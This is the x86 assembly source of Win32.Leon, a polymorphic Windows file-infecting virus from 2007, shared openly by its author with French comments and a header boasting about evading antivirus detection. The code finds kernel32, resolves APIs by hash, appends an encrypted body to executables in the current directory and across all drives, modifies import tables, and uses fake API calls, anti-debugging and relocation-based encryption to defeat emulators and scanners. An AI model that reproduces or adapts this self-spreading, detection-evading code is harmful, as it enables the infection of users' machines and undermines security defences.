Win32.Leon
kaze / FAT
;FICHIER : main.asm ;NOM : Win32.leon ;DATE : 14/01/2007 ;VERSION : 1.0 ;AUTEUR : kaze <kaze@lyua.org> ;SITE : http://fat.next-touch.com ; I'm happy to introduce to you win32.leon, a nearly original poly virus. This virus is ; mainly focused on AV-detection evading, so don't expect ultral33t spreading. The main ; technique of this is virus is "decryption via APIS", i.e the decryptor is (with a ; probability of 4/5) 100% api based. Some random fake api calls are also used in the ; decryptor: those apis are called with random arguments, but won't disturb the virus's ; excecution: they just return an error code (except when being debugged where they ; sometimes throw exceptions). Random api calls are also used in the virus body in order ; to avoid dynamic detection. ; A lot of little tricks are also used to fool emulators and scanners (like encryption ; through relocations, or decryptor fragementation) and are explained in the article ; stored at http://fat.next-touch.com/data/win32.leon.pdf (french only for now). ;===== WIN32.LEON ========================================================================= ; OS: Win2000 and WinXP. Successfully tested on both. Won't work on vista because ; of the fake apis thingie. ; TYPE: PE Appender. ; TARGETS: Kaze*.exe PE files, with .code > ~10k and ; vsize(lastsection)<rawsize(lastsection) ; INFECTION: Insert virus body into last section. The decryptor is cut into X part, where ; X=number of api calls in the decryptor. Those parts are written in the .code ; section at random locations. The first part is located on the EP. If the ; decryptor used is api-based, the IAT of the host will also be modified by the ; virus. If encryption via relocs is used, relocations are modified and the ; host is relocated by the virus. ; SPREADING: Infect current directory and all physical drives. Avoid infection of ; SFC protected files. ; POLY/META: Polymorphic, using a kpasm-generated poly engine (rules in regles.kpasm). ; Use two decryptors (one at a time): a cryptoapis-based one and a simple ; xor loop. ; ANTIDBG: Yes. The decryptor and the virus body use a lot of "fake apis", i.e some ; apis with random arguments, that's won't do anything normally, but will ; throw some exception when debugged. ; ANTIEMUL: Yes. The decryptor is mainly composed of api calls. Most of the emulators ; don't emulate them all. Bogus api calls are also used (fake apis) in order ; to fool the emulator. The control flow in the decryptor is also a bit ; obfuscated: in order to jump from the K part to the K+1 part ; (in the decryptor), the emulator has to know the exact number of arguments ; of the api used in the K part. Up to 500 different fake apis could be used. ; ANTISCAN: Yes. Besides the poly, the virus sometimes uses encryption via ; relocations: the decryptor itself is encrypted by having some relocations ; pointing to the decryptor's code. The imagebase is modified to force windows ; to relocate the infected host (and so decrypt the decryptor). Relocations ; of the host are nulled and the host itsef is relocated by the virus. ; ANTIDYNAMIC: Yes. The sequence of the apis used by the virus body and the decryptor is ; random. Each virus api call is surrounded by up to 10 random fake apis calls. ; ANTIHEURIST: No. It may fool some but no original trick used. ; BUGS: Will crash every ~50 infections (don't ask me why). When crashing, the virus ; try to restore control to infected program through SEH. ;========================================================================================== ; Well, this virus has been finished in hurry, so some things could be improved. The poly ; engine for example is good, but could be easily improved. The payload also is a simple ; MessageBox: I coded a nice one (some animated monkey playing around with desktop's icons :), ; but hadn't time to integrate it into the virus. Just look at the web site for the payload, ; it's quite fun :D. I sent it to AVers three weeks ago, and only 3 detect it, but with a bad ; ratio (<70%). I think that's because they just don't care, it's a PoC after all. Well, ; i'll publish it anyway. ; Thankz to: ; - Baboon for the help with kpasm debugging ; - Poco for hosting this file ; - Squallsurf for the Vista VM ; - Silma for the motivation. ; - Tuna for the reading & correction of the paper ; ;And Greetz to all #fat,#nas and #uct members .386p .model flat,STDCALL ;===================================== MACROS ================================= call_ macro x mov [ebp+sauve_reg_anti_call],edx mov [ebp+sauve_reg_anti_call2],ebx mov edx,[ebp+x] call anti_call mov edx,[ebp+sauve_reg_anti_call] mov ebx,[ebp+sauve_reg_anti_call2] endm call_s macro x call [ebp+x] endm debug macro x pusha mov eax,x call printdec popa endm debuga macro x pusha push 0 push x push x push 0 call_ MessageBox popa endm ;======================================= EQUS ================================= TAILLE_IMPORTS EQU 8092 ;devrait suffire pour la plupart des hôtes (env 50 dlls) ;doit etre alignee sur 4k! TAILLE_API EQU 64 NB_DLLS_IMPORTEES EQU 1 FIRST_GEN_IMAGE_BASE EQU 400000h DECRYPTOR_SIZE EQU 4096*4 ;decrypteur polymorphisé MUTATED_DECRYPTOR_SIZE EQU 4096 ;pseudo-code modifié VIRTUAL_SIZE_VIRUS EQU (((virus_len+heap_len + TAILLE_IMPORTS)/4096)+1)*4096+DECRYPTOR_SIZE MAX_NB_PARTIES EQU 16 ;nombre max de parties pour le décrypteur PARTIE_MAX_SIZE EQU DECRYPTOR_SIZE/MAX_NB_PARTIES MAX_OPCODE_PAR_PARTIE EQU 20 ;sic OPCODE_MAX_SIZE EQU PARTIE_MAX_SIZE/MAX_OPCODE_PAR_PARTIE NB_CASES_MEMOIRE EQU 100 ;nombre de cases mémoires à réserver pour le poly PROV_RSA_FULL EQU 1 CRYPT_NEWKEYSET EQU 8 CRYPT_VERIFYCONTEXT EQU 0F0000000h CALG_RC4 EQU 06801h CALG_MD5 EQU 08003h TAILLE_CLE EQU 800000h PAGE_EXECUTE_READWRITE EQU 040h SECTION_MASK EQU 0C0000040h ;0F0000060h SLEEPTIME_ON_INFECT_DIR EQU 1000 MAX_ENDROITS_INTERDIT EQU 512 MAX_RETRY EQU 50 ;nombre max d'essais pour trouver des trous dans l'hote ;!! MAX_APIS_IMPORTEES*TAILLE_API*2 < TAILLE_IMPORTS/2 MAX_APIS_IMPORTEES EQU MAX_REAL_APIS_IMPORTEES + MAX_FAKE_APIS_IMPORTEES +8 MAX_REAL_APIS_IMPORTEES EQU 5 MAX_FAKE_APIS_IMPORTEES EQU 20 SIGNATURE_VIRUS EQU 54 PROB_DECRYPTEUR_SIMPLE EQU 5 PROBA_ENCRYPTION_RELOCS EQU 5 NB_RELOCS_PAR_ILOT EQU 80 ;multiple de 32bits ! IMAGEBASE_DEFAUT EQU 10000h ;==================================== FIRST GEN DATA ========================== extrn ExitProcess:PROC extrn MessageBoxA:PROC .data Signature db "Win32.Leon coded by kaze",0 ;======================================= CODE ================================= .code start: debut_virus: ;======================================= CORPS ================================ encrypt_cryptoapised_stuff: call delta delta: pop ebp sub ebp,offset delta ; sauvegarde quelques variables lea esi,[ebp+a_sauvegarder] lea edi,[ebp+sauvegarde] mov ecx,taille_sauvegarde rep movsb ;reequilibrage de la pile mov eax,[ebp+nb_fake_pushs] shl eax,2 add esp,eax ; cherche l'adresse de kernel32 find_kernel: mov edx,[esp] mov ecx,100h xor eax,eax and dx,word ptr 0F000h call seh seh_handler: mov esp,[esp+8] mov ebx,[esp+4] mov fs:[eax],ebx jmp find_it seh: push dword ptr fs:[eax] mov fs:[eax],esp find_it: sub edx,1000h dec ecx jz k32_not_found cmp word ptr [edx],'ZM' jnz find_it mov ebx,[edx+03ch] add ebx,edx cmp word ptr [ebx],'EP' jnz find_it pop dword ptr fs:[eax] pop eax ;récupère les apis de k32 lea esi,[ebp+liste_apis_k32] ;apis de k32 lea edi,[ebp+apis_k32] call find_apis ;met en place le seh call seh_virus seh_handler_virus: mov esp,[esp+8] mov ebx,[esp+4] mov fs:[eax],ebx call delta3 delta3: pop ebp sub ebp, offset delta3 jmp retour_hote seh_virus: xor eax,eax push dword ptr fs:[eax] mov fs:[eax],esp ;alloue la memoire lea esi,[ebp+a_allouer] lea edi,[ebp+variables_allouees] mov ecx,nb_a_allouer l_alloue: push esi edi ecx lodsd push eax push dword ptr 0 call_s LocalAlloc pop ecx edi esi test eax,eax jz retour_hote stosd loop l_alloue ;obligatoire pour les fake apis dynamiques call anti_call_init ;recupere l'adresse des autres apis lea eax,[ebp+name_user32] ;apis de user32 push eax call_ LoadLibrary mov edx,eax lea esi,[ebp+liste_apis_u32] lea edi,[ebp+apis_u32] call find_apis lea eax,[ebp+name_a32] ;apis de advapi32 push eax call_ LoadLibrary mov edx,eax lea esi,[ebp+liste_apis_a32] lea edi,[ebp+apis_a32] call find_apis and [ebp+calc_chksum],dword ptr 0 ;CheckSumMappedFile (optionnel) lea eax,[ebp+name_imagehlp] push eax call_ LoadLibrary test eax,eax jz no_image_help lea ebx,[ebp+imagehlp_api] push ebx push eax call_ GetProcAddress mov [ebp+calc_chksum],eax no_image_help: and [ebp+sfc_protected],dword ptr 0 ;SfcIsfileProtected (optionnel) lea eax,[ebp+name_sfc] push eax call_ LoadLibrary test eax,eax jz no_sfc lea ebx,[ebp+sfc_api] push ebx push eax call_ GetProcAddress mov [ebp+sfc_protected],eax no_sfc: ;================================ LANCEMENT DES THREADS ======================= call [ebp+GetTickCount] mov [ebp+poly_rand_seed],eax mov [ebp+RAND_SEED],eax ;infecte le rep courant call infect_rep ;payload call payload ;================================= RETOUR A L'HOTE ============================ retour_hote: test ebp,ebp jz retour_hote_prem_gen call restaure_hote retour_hote_prem_gen: ;lance la thread qui ifnecte tous les disques lea esi,[ebp+infecte_disques] call make_thread jmp [ebp+sauve_ancien_ep] k32_not_found: jmp k32_not_found ;======================================= FONCTIONS ============================ include poly_defines.inc include poly_assembleur.asm include polymorphisation.asm include fragmentation.asm include fusion_imports.asm include fake_apis.asm include payload.asm include relocation.asm include infection.asm ;INFECTE_PE in: eax--> PE mappé en memoire ; out : none infecte_pe proc near pusha mov edx,[eax+3Ch] add edx,eax ;edx-->PE Header mov ebx,eax ;ebx=file mapping offset ;reinit quelques trucs xor eax,eax mov edi,[ebp+adresses_interdites] stosd mov [ebp+offset locations],dword ptr eax ;cherche la dernière section mov [edx+0B0h],eax ;marque d'infection lea esi,[edx+18h] movzx ecx, word ptr [edx+14h] ;SizeOfOptionalHeader add esi,ecx ;esi-->sections movzx ecx,word ptr [edx+06h] cherche_derniere_sec: cmp [esi+12],eax jb ch2 mov eax,[esi+12] mov edi,esi ch2: add esi,28h loop cherche_derniere_sec mov ecx,[edi+8] ;ecx=VSize cmp ecx,[edi+16] ja infecte_pe_fin ;si vsize>rawsize infecte pas call encryption_relocs_init ;les modifs d'usage mov ecx,[edx+28h] ;entry point (rva) add ecx,[ebp+imagebase] ;entry point(va) mov [ebp+ancien_ep],ecx ;edi-->header derniere section (en ram) add eax,[edi+8] ;ajoute VSize (eax etait = a RVA section) mov [ebp+infection_rva],eax add eax,[ebp+imagebase] mov [ebp+virus_start_va],eax mov esi,[edi+20] ;RawAddress add esi,[edi+8] ;VirtualSize add esi,ebx ;adresse du filemapping mov [ebp+infection_raw],esi mov eax,[ebp+taille_virus_alignee] add [edi+8],dword ptr VIRTUAL_SIZE_VIRUS add [edi+16],eax ;RawSize or [edi+36],SECTION_MASK ;remplit la table des adresse interdites call evite_adresses ;choisit un décrypteur parmis les deux dispos call poly_choisit_decrypteur xor eax,eax cmp [ebp+poly_name_dll],eax jz detourne_pas_iat ;modifie l'iat pour importer les apis du decrypteur + les fake apis mov eax,[edx+80h] ;RVA de l'IAT call rva2raw mov esi,eax add esi,ebx ;esi=raw imports mov ecx,[edx+84h] ;ecx=size imports mov edi,[ebp+infection_raw] ;edi=raw addresse du virus (pas encore le code à ce niveau là, mais l'iat) call imports_init ;détourne l'iat mov eax,[ebp+poly_name_dll] call add_iid_decrypteur ;ajoute le iid lea esi,[ebp+iat_crypto_decrypteur] call deal_imports ;importe les apis + les fake apis du dll detourne_pas_iat: ;cherche les fake apis (des autres dll) importées par l'hote lea esi,[ebp+liste_fake_apis] lea edi,[ebp+fake_apis] call find_fake_apis mov [ebp+nb_fake_apis],eax ;pseudo-poly le decrypteur (ajoute des fake apis calls) movzx eax,byte ptr [ebp+poly_nb_parties_decrypteur] mov edi,[ebp+mutated_pseudo_decrypteur] mov esi,[ebp+poly_decrypteur] call poly_pseudo_polymorphize ;poly_nb_parties_decrypteur modifié ;trouve X plages d'adresse de MAX_PARTIE_SIZE octets que l'on peut overwriter push ebx mov ebx,PARTIE_MAX_SIZE movzx ecx,byte ptr [ebp+poly_nb_parties_decrypteur] call trouve_adresses ;trouve poly_nb_parties_decrypteur endroits de PARTIE_MAX_SIZE octets chacuns pop ebx test eax,eax jz infecte_pas call sauvegarde_hote ;assemble et ecrit le decrypteur aux endroit maintenant sauvegardes mov esi,[ebp+mutated_pseudo_decrypteur] call poly_polymorphise ;encryption via les relocs call encryption_relocs ;ecrit le code du virus mov edi,[ebp+infection_raw] add edi,TAILLE_IMPORTS + DECRYPTOR_SIZE ; edi = raw adresse du code du virus push edi lea esi,[ebp+debut_virus] mov ecx,virus_len rep movsb pop edi ;encrypte le code du virus call [ebp+fonction_encryption] infecte_pas: add [edx+50h],dword ptr VIRTUAL_SIZE_VIRUS mov ecx,[ebp+calc_chksum] jecxz infecte_pe_fin ;si CheckSumpMappedFile non present ... lea esi,[ebp+checksum] push esi lea eax,[esi+4] push eax push dword ptr [ebp+WFD_nFileSizeLow] push ebx call ecx ;eax--> PE_Header mappé en RAM mov ecx,[esi] mov [eax+58h],ecx ;enregistre la nouvelle checksum infecte_pe_fin: popa ret infecte_pe endp ;RVA2RAW : in : eax=rva ,edx-->pe_header ; out : eax=raw adress rva2raw proc near push esi push ebx push ecx lea esi,[edx+18h] movzx ecx,word ptr [edx+14h] ;SizeOfOptionalHeader add esi,ecx ;esi-->sections movzx ecx,word ptr [edx+06h] cherche_sec2: mov ebx,[esi+12] cmp ebx,eax ja ch4 add ebx,[esi+8] cmp [esi+8],dword ptr 0 jnz vsize_ok add ebx,[esi+16] ;raw size vsize_ok: cmp ebx,eax ja found2 ch4: add esi,28h loop cherche_sec2 found2: mov ebx,[esi+12] sub eax,ebx add eax,[esi+20] pop ecx pop ebx pop esi ret rva2raw endp ;SECTION_INFO : in : eax=rva ,edx-->pe_header ; out : eax--> section header section_info proc near push esi push ecx push ebx lea esi,[edx+18h] movzx ecx, word ptr [edx+14h] ;SizeOfOptionalHeader add esi,ecx ;esi-->sections movzx ecx,word ptr [edx+06h] cherche_sec: or [esi+36],SECTION_MASK mov ebx,[esi+12] cmp ebx,eax ja ch3 add ebx,[esi+8] cmp [esi+8],dword ptr 0 jnz vsize_ok2 add ebx,[esi+16] ; raw size vsize_ok2: cmp ebx,eax ja found ch3: add esi,28h loop cherche_sec found: mov eax,esi pop ebx pop ecx pop esi ret section_info endp ;CHECK_INFECTION : check si l'hote a déjà été visité ; in : edx--> PE header ; out : ecx!=0 si deja infecté check_and_set_infection proc near mov ecx,[edx+8] ;timestamp cmp ch,SIGNATURE_VIRUS jz deja_infecte mov ch,SIGNATURE_VIRUS mov [edx+8],ecx xor ecx,ecx deja_infecte: ret check_and_set_infection endp ;IS_SFC : check si sfc protected ;in : ebx->filename ;out: ecx!= si sfc protected is_sfc proc near push eax edx esi edi xor ecx,ecx push ecx lea eax,[ebp+Buffer] push eax push dword ptr 260 push ebx call_ GetFullPathName push dword ptr 260*2 lea eax,[ebp+Buffer2] push eax xor eax,eax dec eax push eax lea eax,[ebp+Buffer] push eax xor eax,eax push eax push eax call_ MultiByteToWideChar lea eax,[ebp+Buffer2] push eax xor eax,eax push eax call [ebp+sfc_protected] mov ecx,eax pop edi esi edx eax ret is_sfc endp ;INFECTION : in : ebx--> Filename, WFD rempli avec un .exe ; out : none infection proc near pusha push 80h ;ATTRIB_NORMAL push ebx call_ SetFileAttributes ;teste si SFC cmp [ebp+sfc_protected],dword ptr 0 jz pas_sfc_api call is_sfc test ecx,ecx jnz pasbon pas_sfc_api: xor eax,eax push eax push eax push 3 push eax inc eax push eax push 0C0000000h push ebx call_ CreateFile inc eax jz peuxpas dec eax mov [ebp+Fhandle],eax mov edi,[ebp+WFD_nFileSizeLow] call create_mapped_file test eax,eax jz mappas mov [ebp+Mhandle],eax call map_file ; eax=map_offset test eax,eax jz veuxpas mov esi,[eax+3Ch] cmp esi,edi jae pasbon ;si pas PE, evite les violation de pages add esi,eax cmp dword ptr [esi],'EP' jnz pasbon cmp dword ptr [esi+84h],TAILLE_IMPORTS/2+NB_DLLS_IMPORTEES*14h jae pasbon mov edx,esi call check_and_set_infection test ecx,ecx jnz pasbon mov ecx,[esi+34h] mov [ebp+imagebase],ecx mov esi,[esi+3Ch] ;File Alignement push eax call_ UMVOFile push [ebp+Mhandle] call_ CloseHandle xor edx,edx mov eax,virus_len+TAILLE_IMPORTS+DECRYPTOR_SIZE ;edi=fichier+virus div esi inc eax mul esi mov [ebp+taille_virus_alignee],eax add edi,eax call create_mapped_file mov [ebp+Mhandle],eax call map_file ; eax=map_offset call infecte_pe pasbon: push eax call_ UMVOFile veuxpas:push [ebp+Mhandle] call_ CloseHandle mappas: push [ebp+Fhandle] call_ CloseHandle peuxpas:push dword ptr [ebp+WFD_dwFileAttributes] push ebx call_ SetFileAttributes popa ret infection endp ;FIND_APIS: in: esi--> ckecksums(terminé par -1) edi--> apis[] edx=HMODULE* ; out: edi[] rempli find_apis proc near mov ebx,[edx+3ch] add ebx,edx ; ebx--> PE Header mov ecx,[ebx+78h] add ecx,edx ; ecx--> export table mov eax,[ecx+01ch] ; sauve les adresses des tables add eax,edx lea ebx,[ebp+lst_fnc] ; liste des adresses de fonctions mov [ebx],eax add ebx,4 mov eax,[ecx+24h] ; liste des ordinals add eax,edx mov [ebx],eax mov ebx,[ecx+20h] ; ebx-->liste des noms xor ecx,ecx add ebx,edx fa1: mov eax,[ebx+ecx*4] add eax,edx call calc_crc cmp eax,[esi] ; est-ce la fonction recherchée ? jz fa2 inc ecx jmp fa1 fa2: push esi mov esi,[ebp+lst_ord] ; choppe l'ordinal (marche en //) movzx eax,word ptr [esi+ecx*2] mov esi,[ebp+lst_fnc] ; et on s'en sert pour chopper l'adresse de l'api mov eax,[esi+eax*4] add eax,edx ; (RVA) stosd ; on la stock pop esi inc ecx add esi,4 ; api suivante inc dword ptr [esi] ; esi==0xFFFFFFF ? jz fa3 dec dword ptr[esi] jmp fa1 fa3: dec dword ptr[esi] ret find_apis endp ;CALC_CRC: in: eax--> apiname ; out: eax=crc calc_crc proc near push ecx push esi mov esi,eax xor eax,eax sub ecx,ecx cc1: lodsb test al,al jz cc2 add cl,al rol eax,cl add ecx,eax jmp cc1 cc2: mov eax,ecx pop esi pop ecx ret calc_crc endp ;INFECT_REP in : none ; out : none infect_rep proc near pusha lea esi,[ebp+WFD] lea eax,[ebp+mask] ;.exe test ebp,ebp jnz pas_premiere_gen lea eax,[ebp+mask_pg] ;kaze*.exe pas_premiere_gen: push esi push eax call_ FindFirstFile inc eax jz badrep dec eax mov [ebp+Shandle],eax unautreverre?: lea ebx,[ebp+WFD_szFileName] mov ecx,[ebp+sfc_protected] jecxz bypass_sfc ; TODO : sfc check bypass_sfc: call infection pas_touche: lea eax,[ebp+WFD] push eax push [ebp+Shandle] call_ FindNextFile test eax,eax ;dernier fichier ? jnz unautreverre? push [ebp+Shandle] call_ FindClose badrep: popa ret infect_rep endp ;MAP_FILE : in: edi=taille ; out: none map_file proc near xor eax,eax push edi push eax push eax push 00000002h push [ebp+Mhandle] call_ MVOFile ret map_file endp ;CREATE_MAPPED_FILE : in : edi=taille ; out : none create_mapped_file proc near xor eax,eax push eax push edi push eax push 00000004h push eax push [ebp+Fhandle] call_ CreateFileMapping ret create_mapped_file endp make_thread proc near ;esi--> debut de la thread pusha xor edx,edx lea eax,[ebp+vtmp1] push eax push edx lea eax,[ebp+vtmp2] push eax push esi push edx push edx call [ebp+CreateThread] popa ret make_thread endp fin_dyn_fake_apis: ;======================================= DATA ================================= a_allouer: dd DECRYPTOR_SIZE dd MUTATED_DECRYPTOR_SIZE dd MAX_ENDROITS_INTERDIT*2*4 dd XOR_LOOP_SIZE nb_a_allouer equ ($-offset a_allouer)/4 a_sauvegarder: ancien_ep dd offset first_gen imagebase dd FIRST_GEN_IMAGE_BASE a32_oft dd 0 a32_ft dd 0 locations dd MAX_NB_PARTIES*2+1 dup (0) infection_rva dd 0 poly_nb_parties_decrypteur db 0 fake_apis dd 2*NB_FAKE_APIS dup (?) nb_fake_apis dd ? taille_sauvegarde equ $ - a_sauvegarder RAND_SEED dd 45980131 signature db "win32.leon by kaze",0 disque db "B:\",0 dmask db "*",0 dotdot db "..",0 mask db "kaze*.exe",0 mask_pg db "kaze*.exe",0 name_user32 db 'user32.dll',0 name_imagehlp db 'imagehlp.dll',0 imagehlp_api db 'CheckSumMappedFile',0 name_sfc db 'sfc.dll',0 sfc_api db 'SfcIsFileProtected',0 name_a32 db 'ADVAPI32.DLL',0 msg db 'Infecté',0 nb_fake_pushs dd 0 ; pour reequilibrer la pile cle_anti_call db 35h liste_apis_k32: dd 0FDBE9DDFh ; CloseHandle dd 04B00FBA1h ; CreateFileA dd 00D6EA22Eh ; CreateFileMappingA dd 0BE307C51h ; CreateThread dd 04E5DE044h ; ExitThread dd 0BE7B8631h ; FindClose dd 0C915738Fh ; FindFirstFileA dd 08851F43Dh ; FindNextFileA dd 028F8C6FBh ; GetCurrentDirectoryA dd 09C3A5210h ; GetDriveTypeA dd 06B1C08DAh ; GetFullPathNameA dd 040BF2F84h ; GetProcAddress dd 08FAF830Bh ; GetTickCount dd 05D0915E3h ; GetWindowsDirectoryA dd 095765835h ; LoadLibraryA dd 01064BF83h ; LocalAlloc dd 032BEDDC3h ; MapViewOfFile dd 09588EE13h ; MultiByteToWideChar dd 08E0E5487h ; SetCurrentDirectoryA dd 050665047h ; SetFileAttributesA dd 03A00E23Bh ; Sleep dd 0FAE00D65h ; UnmapViewOfFile dd 0065F101Ah ; VirtualProtect dd 0FFFFFFFFh liste_apis_u32: dd 0C0059B5Fh ; MessageBoxA dd 0FFFFFFFFh liste_apis_a32: dd 0B4060931h ; CryptAcquireContextA dd 08320BDFEh ; CryptCreateHash dd 01437CBF2h ; CryptDecrypt dd 09BB3B145h ; CryptDeriveKey dd 0A6889767h ; CryptEncrypt dd 0C66A7A58h ; CryptHashData dd 0FFFFFFFFh code_to_crypt_len equ ($ - debut_virus) memoire: dd NB_CASES_MEMOIRE dup (0) virus_len equ ($ - debut_virus) ;======================================= BSS ================================== align dword ; KERNEL32.DLL apis_k32: CloseHandle dd ? CreateFile dd ? CreateFileMapping dd ? CreateThread dd ? ExitThread dd ? FindClose dd ? FindFirstFile dd ? FindNextFile dd ? GetCurrentDirectory dd ? GetDriveType dd ? GetFullPathName dd ? GetProcAddress dd ? GetTickCount dd ? GetWindowsDirectory dd ? LoadLibrary dd ? LocalAlloc dd ? MVOFile dd ? MultiByteToWideChar dd ? SetCurrentDirectory dd ? SetFileAttributes dd ? Sleep dd ? UMVOFile dd ? VProtect dd ? ; USER32.DLL apis_u32: MessageBox dd ? ; ADVAPI32.DLL apis_a32: CAcquireContextA dd ? CCreateHash dd ? CDecrypt dd ? CDeriveKey dd ? CEncrypt dd ? CHashData dd ? ;DIVERS lst_fnc dd ? lst_ord dd ? lst_noms dd ? Fhandle dd ? Mhandle dd ? Shandle dd ? WFD label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime dd ? dd ? WFD_ftLastAccessTime dd ? dd ? WFD_ftLastWriteTime dd ? dd ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260 dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) SavedDirectory db 260 dup (?) Buffer db 260 dup (?) Buffer2 db 260*2 dup (?) infection_raw dd ? virus_start_va dd ? iat_noms_apis_rva dd ? iat_noms_apis_raw dd ? taille_virus_alignee dd ? sfc_protected dd ? calc_chksum dd ? checksum dd ? old_checksum dd ? fonction_encryption dd ? poly_decrypteur dd ? poly_name_dll dd ? poly_liste_apis_compat dd ? poly_nb_apis_compat dd ? poly_buffer db 256 dup (?) simple_cle dd ? vtmp1 dd ? vtmp2 dd ? vtmp3 dd ? vtmp4 dd ? index_iat dd MAX_APIS_IMPORTEES dup (?) relocated_imagebase dd ? is_relocated db 0 ;=================== VARIABLES SAUVEGARDEES ================= sauvegarde: sauve_ancien_ep dd ? sauve_imagebase dd ? s_a32_oft dd ? s_a32_ft dd ? sauve_locations dd MAX_NB_PARTIES*2+1 dup (?) sauve_infection_rva dd ? sauve_nb_parties db ? ; FAKE APIS sauve_fake_apis dd 2*NB_FAKE_APIS dup (?) sauve_nb_fake_apis dd ? ; FUSION IMORTS ;=================== VARIABLES ALLOUEES ================= variables_allouees: decrypteur dd ? mutated_pseudo_decrypteur dd ? adresses_interdites dd ? xor_loop_location dd ? heap_len equ ($ - debut_virus) - virus_len ;================= PREMIERE GENERATION ================== first_gen: mov eax,virus_len call printdec call ExitProcess,0 printdec proc near ;c vite-fait ... pusha cld lea edi,buf mov ebx,10 xor ecx,ecx GUI_printdec_1: xor edx,edx div ebx push edx inc ecx test eax,eax jnz GUI_printdec_1 GUI_prindec_2: pop eax add eax,48 stosb loop GUI_prindec_2 xor eax,eax stosb push eax push offset Signature push offset buf push eax call MessageBoxA popa ret printdec endp buf db 20 dup (?) end start